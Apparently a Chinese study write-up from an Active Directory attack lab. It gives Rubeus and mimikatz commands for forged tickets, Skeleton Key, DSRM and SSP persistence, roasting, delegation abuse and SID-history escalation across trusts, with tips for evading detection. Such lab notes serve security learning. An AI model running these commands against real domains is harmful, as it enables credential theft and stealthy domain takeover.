文件共享服务,比如 smb
LDAP
则是 dcsync
等。
于实验室中使用 Loader.exe
执行 Rubeus
伪造银票则是如下
1 | C:\tools\Loader.exe -path http://127.0.0.1/Rubeus.exe -args evasive-silver /service:http/dcorp-dc.dollarcorp.moneycorp.local /rc4:xxxxxxxxxxxx /sid:S-1-5-21-xxxxxx-xxxxxx-xxxxxx /domain:dollarcorp.moneycorp.local /user:Administator /ldap /ptt |
清理票据:
1 | klist purge |
列出票据:
1 | Rubeus.exe klist |
1 | klist |
4.Diamond Ticket
回顾金票所产生的环节。
金票是直接通过 krbtgt
的 aeskey
,来打造一个现成的TGT注入到进程中。
这使得他没有 as-req
as-rep
的环节,也自然缺少了两个环节对应的日志。
那钻石票就是为了解决这个问题,他是在正常正常流程:
1 | as-req -> as-rep |
客户端获取TGT后,用 krbtgt aeskey
对TGT的加密部分进行解密,然后修改为我们所需的权限,再用 krbtgt aeskey
重新加密包装,这即是 Diamond Ticket
。
把 as-req
返回的 tgt 视为一个盒子,用 krbtgt aeskey
打开盒子 然后修改里面的内容,再用它重新打包,发给DC。
说白了就是一个TGT的重包装。
钻石票据不仅比金票更隐蔽更安静,但前提也是要先有 krbtgt aeskey
特点:
- 更隐蔽
- 生命周期取决于krbtgt,只要 krbtgt 的 hash 没变,就可以一直伪造或修改票据
1.利用钻石票
1 | Rubeus.exe diamond /krbkey:<krbtgt-aeskey> /user:student1 /password:password@123 /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:500 /groups:512 /createnetonly:C:\windows\system32\cmd.exe /show /ptt |
如果正在作为域用户访问,则可以通过使用 /tgtdeleg
选项来传递当前账户凭据(省了输入账户密码了)
1 | Rubeus.exe diamond /krbkey:<krbtgt-aeskey> /tgtdeleg /enctype:aes /ticketuser:administrator /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /trickeruserid:500 /groups:512 /createnetonly:C:\windows\system32\cmd.exe /show /ptt |
5.Skeleton key
通过patch lsass来实现,需要dc
的 SeDebugPrivilege
权限才可以,并且重启之后将会失效。
1.注入万能钥匙
1 | SafetyKatz.exe '"privilege::debug" "misc::skeleton"' -ComputerName dcorp-dc.dollarcorp.local |
密码是 mimikatz
,直接连接
1 | Enter-PSSession -Computername dcorp-dc -crendential dcorp\Administrator |
但是不建议用,因为如果角色位于注入万能钥匙的同一个域控上,ADCS的验证会出问题。
6.DSRM
目录服务还原模式 (DSRM) 是每个域控制器 (DC) 上用于恢复操作的一种特殊安全模式。
当域内机器提升为域控时,将会自动在本地创建一个 Administrator
本地的DSRM管理员账户,并设置DSRM密码,这个密码通常很少更新,隐蔽性比较高。
当能从域控导出 sam hash
时,可以检索到DSRM密码,如果需要远程登录这个账户的话需要修改注册表。
通过修改注册表 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior
控制可使用 DSRM 帐户的条件:
- 值 0(默认值):仅当 DC 在 DSRM 中启动时,该帐户才可用。
- 值 1:本地 AD DS 服务停止时允许 DSRM 凭据。
- 值 2:允许始终使用 DSRM 凭据,包括通过网络。
通过利用这些配置,攻击者可以利用 DSRM 帐户长期访问 DC,而无需域凭据。
1.获取DSRM凭据
提取dsrm账户凭据
1 | mimikatz.exe "token::elevate" "lsadump::sam" |
将导出的管理员hash与下面这个命令得到的管理员hash进行比较
1 | SafetyKatz.exe "lsadump::lsa /patch" |
第一个命令得到的是DSRM管理员密码
2.利用DSRM管理员账户
因为通常情况下DSRM管理员账户无法直接使用,但是可以通过修改注册表 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior
使其可用。
用有权限修改dc注册表的账户先访问到dc
1 | winrs -r:dcorp-dc cmd |
修改注册表,允许DSRM管理员正常情况下从网络登录。
1 | reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "DsrmAdminLogonBehavior" /t REG_DWORD /d 2 /f |
正常mimikatz使用DSRM的ntlm凭据启动一个带凭据的cmd(注意DSRM与正常的pth不同,这里 domain
指向的不是域名,而是目前所用的DSRM的域控机器名)
1 | Safetykatz.exe "sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:xxxxxxxxxxxxxx /run:cmd" |
因为使用ntlm和ip来进行远程到域控,所以需要将域控机器的ip加入到当前可信主机中
1 | Set-Item WSMan:\localhost\Client\TrustedHosts 172.16.2.1<域控ip> |
然后就可以用PSSession远程到域控,要注意这里ComputerName用的是IP,而Kerberos不认ip,所以这里是NTLM认证,然后鉴权使用 NegotiateWithImplicitCredential
(自动使用当前登录用户的凭据进行身份验证)
1 | Enter-PSSession -ComputerName 172.16.2.1 -Authentication NegotiateWithImplicitCredential |
因为是用管理员账户本地登陆的,所以这里留下的日志也比较正常
4624(登录成功)、4634(退出)、4672(管理员登录)
7.Custom SSP
(SSP) Security Support Provider,ssp是一个安全支持服务,对应用提供身份认证的方式,他是一个允许身份验证的DLL库。
微软的ssp有:
- NTLM
- Kerberos
- Wdgiest
- CredSSP
如果对DC,以及其他机器有着管理权限,则可以为其注入自定义ssp。
比如mimikatz的ssp的dll,是将用户的明文凭证记录到一个日志中。
1.利用方式
1.把mimilib.dll放到主机 /system32
目录下后,修改注册表加载。
1 | $packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSconfig\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages' |
1 | $packages += "mimilib" |
1 | Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSconfig\ -Name 'Security Packages' -Value $packages |
1 | Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $packages |
2.直接用mimiktaz注入lsass (要注意这种方式在 winserver 2019和2022并不稳定)
1 | Safetykatz.exe -Command '"msic::memssp"' |
上述两种方式的log位置是 C:\Windows\system32\mimilsa.log
因为在dc上注入ssp要用域管理员权限,而访问他默认的log存储位置也需要管理权限,所以建议是对dll进一步修改,比如将获取到的凭证传输到自己的web服务器上之类,应当避免权限维持却还要需要再次利用高权的情况。
8.kerberoasting
这里严格来说分为两种,一种是用户预认证没关 as-rep
返回给的由用户密码加密的blob,还有一种是SPN是 TGS-rep
返还的服务st,两者一个是用用户的密码加密,一个是用服务账户的密码加密,所以可以通过字典来对票据爆破,能解密成功就代表拿到了对应的密码。
要注意的是,即便是受保护的用户或组,按道理不会使用aes加密,但却还是能允许被请求加密降级到RC4加密。
如果拿到hash之后跑john或者hashcat提示hash有问题,可以看下是不是有端口和特殊符号之类的手动去除一下。
1.SPN
在进行kerberosating的过程中,应该注意避免同一时间对所有服务进行大批量请求,mdi将会检测到这种行为,或者发起请求加密降级也同样会触发告警。
利用
筛选服务账户(带有spn不为空的)
AD module
1 | Get-ADUser -Filter {ServicePrincipalName -ne "null"} -Properties servicePrincipalName |
Powerview
1 | Get-domainUser -SPN |
Rubeus
列出kerberoast可用统计
1 | Rubeus.exe kerberoast /stats |
请求目标st
1 | Rubeus.exe kerberoast /user:svcadmin /simple |
为了避免 加密降级检测 还可以手动指定仅列出支持rc4算法的
1 | Rubeus.exe kerberoast /stats /rc4opsec |
1 | Rubeus.exe kerberoast /user:svcadmin /simple /rc4opsec |
如果没需求,可以直接请求获取所有spn的,输出到文件中
1 | Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt |
如果对一个账户有genricwrite权限或者别的能够编辑添加用户ldap属性的权限,则可以给一个账户配置一个SPN,这样就可以对他发起 kerberoast
获取对于高价值用户的ACl,这里IdentityReferenceName为持有权限的用户
1 | Find-InterestingdomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPusers"} |
查看账户是否配置了SPN
powerview
1 | Get-domainUser -Identity supportuser |select ServicePrincipalname |
1 | Get-DomainObject|?{$_.servicePrincipalName -ne $null}|%{$n=$_.samAccountName;$_.servicePrincipalName|%{[PSCustomObject]@{SamAccountName=$n;ServicePrincipalName=$_}}}|ft -AutoSize |
ad module
1 | Get-ADUser -Identity supportuser -Properties ServicePrincipalName |select ServicePrincipalName |
没配的话给他配一下(注意在一个forest中,spn名必须是唯一的)
powerview
1 | Set-domainObject -Identity supportuser -Set @{servicePrincipalname='dcorp/whateverXD'} |
ad module
1 | Set-ADUser -Identity supportuser -ServicePrincipalNames @{Add="dcorp/whatever"} |
2.AS-REProast
由于一个账户关闭了预认证,所以以这个账户身份与dc发起 as-req
时,dc将会返回一个以用户的密码加密的blob。
利用
获取域中没有开启预认证的账户。
powerview
1 | Get-Domainuser -PreauthNotRequired -verbose |
AD module
1 | Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth |
查询高价值ACL,如果对某个用户的UAC有修改权限,则可以帮他关闭预认证,然后roast尝试跑他的密码
比如这里筛选身份为 RDPusers
的用户
1 | Find-InterestingdomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPusers"} |
然后找到一个,关闭它的预认证
1 | Set-domainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} -Verbose |
获取域内没有开启预认证的账户,便能看到这个用户
1 | Get-domainUser -PreAuthNotRequired -Verbose |
获取关闭预认证账户的blob
1 | Rubeus.exe asreproast /user:VPN1user /outfile:C:\windows\outfile.txt |
同样的,如果要获取所有的就不指定,但是要注意快速获取尝试所有用户的blob也同样会被检测到。
1 | Rubeus.exe asreproast |
然后跑就完事了
9.Kerberos Delegation (委派)
重复使用用户的凭据来访问托管在不同服务器上的资源。
比较常见的是
1 | 用户->web服务器->数据库 |
只需要在web服务器提供一次用户自己凭证,后续当用户通过web服务器执行需要鉴权的数据库查询或其他需要凭证才能访问的服务时,web服务器会将一开始获取到的用户凭证提供给后端服务。
委托的目的就是模拟用户
1.无约束委派 Unconstrained Delegation
流程如下
- 1.用户发送凭证给DC
- 2.DC返回TGT
- 3.用户向DC请求 webserver 的TGS
- 4.DC提供一个TGS
- 5.用户拿着自己的TGT和TGS都发送给webserver
- 6.webserver为了访问后端,用用户的TGT向DC请求访问sqlserver的TGS
- 7.webserver拿到TGS,以用户身份请求sqlserver.
第6步DC唯一验证TGT有没有效的方式是看Kdc能不能正常解密它。
这无约束委派的流程中里有几个可利用点,首先是第3步 用户会把自己的TGT发送给服务
,这代表如果有一个攻击者伪造的服务,用户与伪造服务进行非约束委派时会把自己TGT发送过去。
1.枚举
枚举域内存在的非约束委派
powerview
1 | Get-domaincomputer -unConstrained |
AD module
1 | Get-ADComputer -Filter {TrustedForDelegation -eq $True} |
1 | Get-ADUser -Filter {TrustedForDelegation -eq $True} |
2.利用
正常情况下需要等待用户对存在非约束委派的机器发起请求,然后再上去导出用户发送的票据。
Safetykatz
1 | Safetykatz.exe "sekurlsa::tickets /export" |
注入票据到当前进程
1 | Safetykatz.exe "kerberos::ptt C:\users\appadmin\Documents\user1\[0;2ceb8b31-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi" |
但是一直等也不太现实,所以可以采用强制请求的方式,截至2025年,目前有以下几种方式
Protocol | Service | Default on Server Os | Ports Required |
---|---|---|---|
MS-RPRN | Print Spooler | YES | 445 (SMB) |
MS-WSP | Windows Search | No(default on clientOS) | 445 (SMB) |
MS-DFSNM(MDI detects this) | DFS Namespaces | No | 445 (SMB) |
(其实还有小河马)
在实验lab中,dcorp-appsrv启用了非约束委派,所以可以利用它来做。
首先在dcorp-appsrv机器上起一个监听,(注意需要有本地管理员权限才可以)。
1 | Rubeus.exe monitor /interval:5 /nowrap |
因为这里仅关注DC机器,所以指定targetuser
1 | Rubeus.exe monitor /interval:5 /targetuser:DCORP-DC$ /nowrap |
然后使用 MS-RPRN.exe
强制域控 dcorp-dc
对主机 dcorp-appsrv
发送请求
1 | MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appsrv.dollarcorp.moneycorp.local |
之后Rubeus的监控将会base64的TGT,将其导出,到本地注入到进程中。
1 | Rubeus.exe ptt /ticket:xxx |
之后便可以用域控主机乱搞,比如dcsync拿krbtgt的aeskey做金票或钻石票之类等等
1 | mimikatz.exe "lsadump::dcsync /user:krbtgt" |
类似的还有MS-DFSNM,也是强制dc访问appsrv的445端口
1 | C:\AD\Tools\DFSCoerce-andrea.exe -t dcorp-dc -l dcorp-appsrv |
2.约束委派 Constrained Delegation
约束委派在2008年引入
目的其一,是为了解决用户端使用非kerberos协议与前端webserver进行身份认证(比如表单认证等),webserver会将收到的表单认证等,转换为kerberos协议以方便与后端的服务交互。
目的其二,与 非约束委派
场景下允许用户从任何服务做第一跳,然后第一跳的服务替用户向任何服务发起第二跳的委派不同。
约束委派仅允许用户从指定的第一跳的服务(UAC位有TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION)上发起第二跳,而且第二跳的范围受第一跳服务的访问服务范围限制,第二跳仅允许访问指定服务器上指定的服务资源。
同时在这个阶段,为了支持约束委派引入了两个新的拓展协议 S4U2Self
和 S4U2Proxy
S4U2Self
webserver(前端)服务替用户向dc请求一张由用户访问服务自身的可转发票据,DC检查当前服务账户的UAC是否有TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
位,然后检查被模拟的用户账户是否被允许委派,如果两者皆都满足则返回票据,注意,服务以用户身份向dc请求访问到自身票据时不需要提供任何用户凭证,仅需告知DC发起请求的用户即可。
可利用点:
- 如果一个有
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
位的服务账户被控制,那将可以通过S4U2Self获取到域内任何人(在域内账户都被允许发起委派的情况下)访问到自己的可转发票据,然后再通过S4U2proxy获取到以用户身份访问到第二跳服务账户的票据。
S4U4Proxy
webserver服务使用刚S4U2Self获取的可转发票据,向DC请求一张访问后端服务的票据,DC将检查当前服务的 msDS-AllowedToDelegateTo
字段,如果字段中指向当前要获取的后端服务,则返回一张访问后端服务的票据,现在webserver能以用户身份访问后端。
可利用点:
- 如果有能力修改当前账户
msDS-AllowedToDelegateTo
字段内的SPN,则可以自定义该字段,实现向任何带有SPN的机器发起委派请求,也就是说可以访问到域内任何有SPN的机器的任何服务。
1.寻找启用了约束委派的用户或机器
查询开启约束委派的用户
powerview
1 | Get-domainUser -TrustedToAuth |
查询开启约束委派的机器
powerview
1 | Get-domainComputer -TrustToAuth |
查询所有 ms-AllowedToDelegateTo
不为空的账户
powerview
1 | Get-DomainObject |?{$_."msds-allowedtodelegateto" -ne $null}|select name,msds-allowedtodelegateto |
AD module
1 | Get-ADObejct -Filter {ms-AllowedToDelegateTo -ne "$null" } -Properties ms-AllowedToDelegateTo |
2.利用 S4U2Self + S4U2Proxy 访问服务
模拟目标账户通过S4U2Self + S4U2Proxy
获取可委派服务(ms-AllowedToDelegateTo)
的票据
1 | Rubeus.exe s4u /user:websvc /aes256:xxxxxxxx /impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.local /ptt |
现在可以用被注入票据的进程,发起对的目标访问
1 | ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$ |
3.服务器名称不变 通过修改S4U2proxy请求回来的票据中的服务来访问高价值服务
Alberto Solino’s发现,在一张KrbCred(krb凭据)中,只有服务器名是受是加密校验保护的,凭证中的服务名可以随意修改,所以只要目标服务器对应的 SPN 被授权了,就通过修改票据的服务名的字段使用这张票访问目标服务器原本不该访问的资源。
这里用原本只允许当前服务委派DC的 time
SPN,但是对面DC开放了 ldap
的SPN ,就可以修改S4U2Proxy回来票据中的 time
改为 ldap
1 | Rubeus.exe s4u /user:dcorp-adminsrv$ /aes256:xxxxxxxxx /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.local /altservice:ldap /ptt |
4. 利用 S4U2Self 伪造高权用户修改当前服务账户ms-AllowedToDelegateTo属性指向高价值机器服务
其实是写的时候想到的,查了下有类似的,不过我还没试过。。等之后尝试ok了再写这部分
1 | Rubeus.exe s4u /self /user:websvc /aes256:xxxxxxxx /impersonateuser:Administrator /msdsspn:xxxx/websvc.dollarcorp.moneycorp.local /ptt |
3.基于资源的约束委派 RBCD
在约束委派中,只有DA或有权限的对象才能编辑服务账户 msDS-AllowedToDelegateTo
属性,DC验证当前发起委派服务账户的 msDS-AllowedToDelegateTo
属性是否包含当前要委派至的目标服务.
1 | 委派服务账户 (ms-AllowedToDelegateTo:cifs/test.aaa.local) -> s4u2proxy- > 服务/后端服务器 (cifs/test.aaa.local) |
而基于资源的约束委派(RBCD)将委派配置权限给到了服务自身,发起端的 msDs-AllowedToDelegatTo
属性不再是必须的,由服务账户或服务管理员自己配置服务账户的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性 ,允许哪些服务对自己发起委派,委派至哪个服务。
1 | 委派服务账户(svc1) -> s4u2proxy -> 服务账户(msDS-AllowedToActOnBehalfOfOtherIdentity:svc1) |
1.利用点
如果对于一个高价值服务账户的 msDS-AllowedToActOnBehalfOfOtherIdentity
有写入权限,则可以将其变更指向到一个当前控制住的 有SPN的账户
或 机器账户
,然后通过这个被控制的账户发起委派伪造用户即可。
如果当前没有控制到符合 有SPN的账户
或 机器账户
条件的账户,则可以用当前域用户添加 域机器账户
,通常来说一个账户允许最多添加10个域机器账户,能添加夺少台取决于域的 ms-DS-MachineAccountQuota
属性,而被这个用户加进来的机器账户是onwer权限。
加机器账户可以这样
https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1
1 | New-MachineAccount -MachineAccount xxxx<machine name> -Password $(ConvertTo-SecureString 'P4ssword123!' -AsPlainText -Force) |
2.配置 msDS-AllowedToActOnBehalfOfOtherIdentity 字段
用权限足够的用户修改添加能控制住的机器到目标的约束委派字段(msDS-AllowedToActOnBehalfOfOtherIdentity
)
powerview
1 | Set-domainRBCD -Identity dcorp-mgmt -DelegateFrom 'student1$' -Verbose |
也可以通过这样查看rbcd字段指向的sid
1 | $rawBytes =(Get-DomainObject -Identity "dcorp-mgmt").'msds-allowedtoactonbehalfofotheridentity' |
AD module
1 | #这里只是为了演示能加多个,实际只用了一个 |
再提取对应被控制机器的aeskey,一会用
1 | Invoke-mimikatz -Command '"sekurlsa::ekeys"' |
使用被控账户发起委派至目标( S4U2self + S4U2Proxy ),获取目标上高权用户的访问票据,注入到进程
1 | Rubeus.exe s4u /user:dcorp-student1$ /aes256:xxxxxxxxx /msdsspn:http/dcorp-mgmt /impersonateuser:Administrator /ptt |
访问到远程主机
1 | winrs -r:dcorp-mgmt cmd.exe |
10.跨域 Across Trusts
跨域请求服务的流程
- 1.客户端时间戳与用户密钥加密发送到子域KDC(as-req)
- 2.子域KDC使用krbtgt加密TGT,然后发送给用户(as-rep)
- 3.客户端用TGT向KDC请求访问服务的ST(tgs-req)
- 4.KDC首先会检查客户端请求的服务主体是否在自己域内,如果不在自己域内,KDC将返回一张跨域票据(inter-realm referral TGT),而这张票据的最外层是由跨域信任密钥
trust key
加密的(如果在自己域内的话就走正常的tgs-rep了,KDC用服务的凭证加密ST,然后返回一张ST给客户端,虽然放在跨域这里部分并不重要但我还是写上了XD)(tgs-rep) - 5.客户端使用第四步获取的跨域TGT,向服务所在域的DC请求服务ST,在这一步父域DC验证票据是否 可用的唯一标准是用户的跨域TGT能否被跨域密钥
trust key
解密。 - 6.如果能被成功解密,父域或者目标域的kdc将会响应给客户端一张对应的服务票据(ST),这张票据由
Trust key
加密。 - 7.然后就可以访问跨域服务了
在有域管理的情况下有多种方式获取到企业管理员 Enterprise Admins
权限
比如,第6步的 跨域信任密钥 trust key
在可信的域控之间设置是始终相同的,只需要得到 trust key
就可以直接伪造第5步的TGT。
要利用这一点,需要首先从当前所属域DC提取 trust key
的rc4 key,然后伪造 referral tgt
,在其中票据中注入sid history
属性,sid history
安全标识符指向 519
(即企业管理员)。
1.SID history
sid history
是为了用户从一个域移动到另一个域而设计的用户属性,当用户移动到一个新域时他会获得到一个新的sid(sid的前段是当前域sid,后段是域内账户的标识符sid),而用户旧的域sid将会被复制到属性中或者添加到 sid history
属性中,利用这个特点有两种方式可以提升到企业管理员。
- 1.使用
trust key
伪造第5步使用的跨域TGT,并注入sid history
- 2.在本域使用
krbtgt key
伪造金票时多加个sid history
属性(与正常金票节点一样只是伪造TGT的时候多加了个sid history字段)
1.提取trust key
利用跨域信任密钥伪造跨域票据(referral TGT)写入 sid history
,首先从子节点DC获取 trust key
,这里有多种方式:
- 枚举 Active Directory 域之间的信任关系,会返回信任密钥,这个
lsadump::trust
需要在域控上执行
1 | SafetyKatz.exe "lsadump::trust /patch" |
- dcsync提取域信任账户的hash
1 | SafetyKatz.exe "lsadump::dcsync /user:dcorp\mcorp$" |
下面的 e83dbf0e81faf41fee25704eb60b4f26
就是信任密钥
1 | PS C:\Users\svcadmin> .\loader.exe -path http://127.0.0.1:8080/safetykatz.exe -args "lsadump::evasive-trust /patch" "exit" |
- 在域控上导出当前域内所有域凭证,其中会包含
trust key
1 | SafetyKtz.exe "lsadump::lsa /patch" |
1.确定域信任账号
可以通过下面的特征来确认域信任账户
1 | # 账户为机器账户即$结尾 |
通过这个特征来筛选,即可得出如下几个域名的域信任账户
1 | PS C:\ad\tools> Get-DomainObject|?{$_.samaccounttype -match "TRUST_ACCOUNT"}|select name |
2.利用信任密钥伪造跨域TGT
因为跨域TGT是使用信任密钥加密的,反过来这里也可以用信任密钥伪造第5步用的跨域TGT,并在里面注入sid history
属性。
信任密钥被存在信任账户
账户中,信任账户
被视为一个机器账户
,在双方域控都同意的情况他的密钥每过三十天轮换一次(所以不如krbtgt那么持久)。
(这里Rubeus的选项是silver,我感觉应该是因为是由 域信任账户
的 信任密钥
伪造的 跨域TGT票据
,有点类似用ap-req
阶段使用 服务凭据
伪造 ST
,于是给塞到了 silver
里)
伪造时候要注意,是本域krbtgt服务下发这张跨域TGT票的
伪造跨域TGT,并注入目标域的企业管理员sid到sid history属性。
1 | Rubeus.exe silver /service:krbtgt/DOLLARCORP.MONEYCORP.LOCAL /rc4:<trust key(NThash)> /sid:<当前domain sid> /sids:<目标域-企业管理员sid 例:S-1-5-21-335606122-960912869-3279953914-519> /ldap /user:Administrator /nowarp |
使用伪造的跨域TGT(referral TGT )
请求目标域的目标服务ST,将返回的ST注入到当前进程
1 | Rubeus.exe asktgs /service:http/mcorp-dc.MONEYCORP.LOCAL /dc:mcorp-dc.MONEYCORP.LOCAL /ptt /ticket:<上一步的跨域TGT> |
然后就可以winrs访问到另一个域的目标服务了
1 | winrs -r:dcorp-dc.moneycorp.local |
再say一次,对面DC只验证这张票能否被跨域信任密钥解密,能解密DC就认为票据没问题。
参数 | 说明 |
---|---|
silver |
使用 Rubeus 的 Silver Ticket 模块 |
/rc4:17e8f4d3f4b46e95048a66a5dd890ee3 |
NTLM 哈希(krbtgt 或服务账户的密钥)这里用的则是信任密钥 |
/sid:S-1-5-21-719815819-37263689483917688648 |
当前伪造用户所在的目标域 SID |
/sids:S-1-5-21-335606122-960912869-3279953914-519 |
父域中 Enterprise Admins 组的 SID(提升权限) |
/ldap |
向当前域控请求 PAC 信息 |
/user:Administrator |
要伪造的用户名 |
/nowrap |
输出不换行(适用于脚本处理或直接注入) |
要注意的是在做跨域攻击的时候,如果目标不是森林根域(最高层),那么也可以先给攻击对象(用户/组)注入域管理员组的SID历史(512表示Domain Admins的RID),这样就获得了目标域管理员权限。在到达林根时,可以注入企业管理员的SID历史,获得更高级权限。
所以可以看下域林
1 | Get-ADForest |
3.利用当前域krbtgt key 伪造TGT并注入 sid history
(等同构造金票时候里面加个sid history属性)
这种比上一种方便许多,不用再拿着跨域TGT挨个再请求服务票(ST)了。
就在本域伪造个金票,然后多注入一个sid history属性就行,后面本域DC发现要请求的资源是其他域的,于是在DC去生成跨域TGT的时候,会用到本来的TGT,所以自然会把注入的sid history给带进去。
1 | SafetyKatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<当前域SID> /sids:<目标域+伪造角色的RID 例:S-1-5-21-335606122-960912869-3279953914-519> /krbtgt:xxxxxxxxx /ptt" "exit" |
然后直接访问目标域的服务就ok
1 | winrs -r:mcorp-dc cmd |
4.检测点绕过
当在林根域DC告警中看到有一个来自子域的账户触发了4672(有一个有企业管理员权限或域管权限的账户进行登陆了),说明有人以高权身份跨域过来了。
这里课程中提供了一种思路,当一个来自子域的用户伪造跨域的域管或企业管理员身份会被检测到,但如果一个子域的域控,伪造目标域的域控组和企业管理组的身份发起访问对则不会被轻易检测到。
这就像来自乡下的我进京怎么装都会被察觉到贫穷的气息,但如果是我们乡长进京那怎么装b都难以被察觉出破绽,那高低也算是个人物(x
所以,这里伪造金票的用户要用本域的dc,所以要加域控的id,因为是机器账户所以注入的 sid history
则是目标域的域控组(516
)和企业管理控制器组(S-1-5-9
)
mimikatz
1 | SafetyKatz.exe "kerberos::golden /user:dcorp-dc$ /id:1000 /domain:dollarcorp.moneycorp.local /sid:s-1-5-21-7198158193726368948-3917688648 /sids:s-1-5-21-335606122-960912869-3279953914-516,S-1-5-9 /krbtgt:4e9815869d2090ccfca61c1fe0d23986 /ptt" "exit" |
Rubeus
1 | Rubeus.exe golden /user:dcorp-dc$ /id:1000 /domain:dollarcorp.moneycorp.local /aes256:xxxxxxxxxx /sid:s-1-5-21-7198158193726368948-3917688648 /sids:s-1-5-21-335606122-960912869-3279953914-516,S-1-5-9 /dc:DCORP-DC.dollarcorp.moneycorp.local /ptt |
钻石票
和正常流程中的票据完整度一样,同样这里钻石票自然要比金票在流程上更不容易被检出。站在简易度和opsec的角度钻石票应该是最优解(蓝宝石票需要先去获得一个合法pac,流程会变长许多)
Rubeus
1 | Rubeus.exe diamond /krbkey:xxxxx /tgtdeleg /enctype:aes /ticketuser:dcorp-dc$ /domain:dollarcorp.moneycorp.local /dc:dcorp-dc.dollarcorp.moneycorp.local /ticketuserid:1000 /sids:s-1-5-21-335606122-960912869-3279953914-516,S-1-5-9<目标域控组和域企业控制组> /createnetonly:C:\windows\system32\cmd.exe /show /ptt |
但要注意,以本域域控伪造跨域的域控组权限之后,为了避免被检测到诡异的异常行为,不能以交互式的方式(比如winrs等)登录到林根的任何机器,建议是执行dcsync,域控之间dcsync这很正常(任何一个域用户执行dcsync都会显得异常),所以这样就可以绕过日志监测。
dcsync
powershell
1 | SafetyKatz.exe "lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local" "exit" |
11,跨外部信任(林)域 Across External Trust
在两个林中存在sid过滤机制,具体表现为在跨信任域或跨林流程时,跨域TGT票据中的 sid history
字段如果sid是500-1000,第5步发送给对面域林的DC时这个字段将会被抹除,尽管票据被验证为合法的仍可以正常使用,但是无法伪造sid history了。
除非对面域林配置错了一个1104的域企业管理员组,那此时 sid history
可以伪造一个1104,因为不在500-1000,所以这不会被过滤(笑
1.可利用点
而且跨外部信任的域,无法直接用初始TGT进行交互后面的交互,要直接去做跨域TGT,然后指定tgs请求票据,挨个服务尝试。
如果在明确了另一个林域给了一个可访问资源,并限制了本域访问可访问的用户,那就可以利用,尽管很有限。
比如 eurocorp.local
域的DC共享了一个 SharedwithDCorp
网络文件夹,并且这个只给当前我们所处域 dollarcorp.moneycorp.local
的DA(域管)权限访问。
提取跨域密钥
1 | SafetyKatz.exe "lsadump::dcsync /user:dcorp\eucorp$" "exit" |
先用刚才在同一个林中交互的跨域TGT伪造的命令,看下区别
1 | Rubeus.exe silver /service:krbtgt/DOLLARCORP.MONEYCORP.LOCAL /rc4:<trust key(NThash)> /sid:<当前domain sid> /sids:<目标域-企业管理员sid 例:S-1-5-21-335606122-960912869-3279953914-519> /ldap /user:Administrator /nowarp |
当使用信任密钥,伪造了这个跨域TGT票据,会发现即便是知道要删,但是上面命令中写入了企业管理员的sid history(为了演示 XD)
把tgt发过去做 tgs-req
1 | Rubeus.exe asktgs service:cifs/eucorp-dc.eurocorp.local /dc:eucorp-dc.eurocorp.loca /ptt/ticket:<FORGED TICKET> |
对面林DC在接到tgt后,会解密票据并直接删掉 跨域TGT 其中的 sid history
部分,甚至对面DC的日志中会有一条记录,记录sids已被删除。
所以这个sids如果在1000以内的话,跨林时候sids其实就没啥必要带了,所以能做的只是以当前域的管理员身份访问。
直接用下面命令单纯伪造一个本域的域管的跨域TGT就好
1 | Rubeus.exe silver /service:krbtgt/DOLLARCORP.MONEYCORP.LOCAL /rc4:<trust key(NThash)> /sid:<当前domain sid> /ldap /user:Administrator /nowarp |
所以那其实直接伪造个金票,拿域管理员去访问可能会更方便些。
2.枚举资源服务
和刚才一样,因为无法得知另一个林域内机器开启了什么样的服务,只能挨个机器挨个服务枚举。
比如刚才拿到了 eucorp-dc.eurocorp.local
,只能访问一个目录 SharedwithDCorp
,当访问 c$
都会被拒绝
可以通过 net view
来看有哪些
1 | net view \\eudcorp.eurocorp.local\ |
如果要枚举对面林中某哥机器是否有能用的服务,就需要修改下面这个中的 服务
和 机器名
,然后不断的请求不断地枚举尝试…
1 | Rubeus.exe asktgs service:cifs/eucorp-dc.eurocorp.local /dc:eucorp-dc.eurocorp.loca /ptt/ticket:<FORGED TICKET> |
因为资源对于我们而言不是明确的,而且林与林之间资源的分享都是需要手动配置,配置的都是还是最小化的资源单位,比如smb可能只会共享一个目录,在没有文档或者别的提示的情况下,就连这个机器上的cifs服务也需要手动枚举才能发现,“这个机器给我共享了一个cifs”。
10 ADCS
adcs是 Active directory 证书服务
,是微软对于PKI(一种公钥设施)的一种实现。
adcs 可以用对用户、机器做身份认证,给电子邮件签名加密和签名邮件等等
在微软文档中,他介绍ADCS被视作一个服务器角色,相当于构建一个pki设施,为组织提供公钥加密、数字证书、数字签名等功能。
这涉及到一些概念:
- CA —— 颁发证书的认证机构,在adcs的情况下具有adcs规则的服务器即为CA(不过现在基本都在DC上了)
- Certificate —— 证书可以被视为颁发给用户、机器的一段代码,它用于验证身份、加密、签署文件等
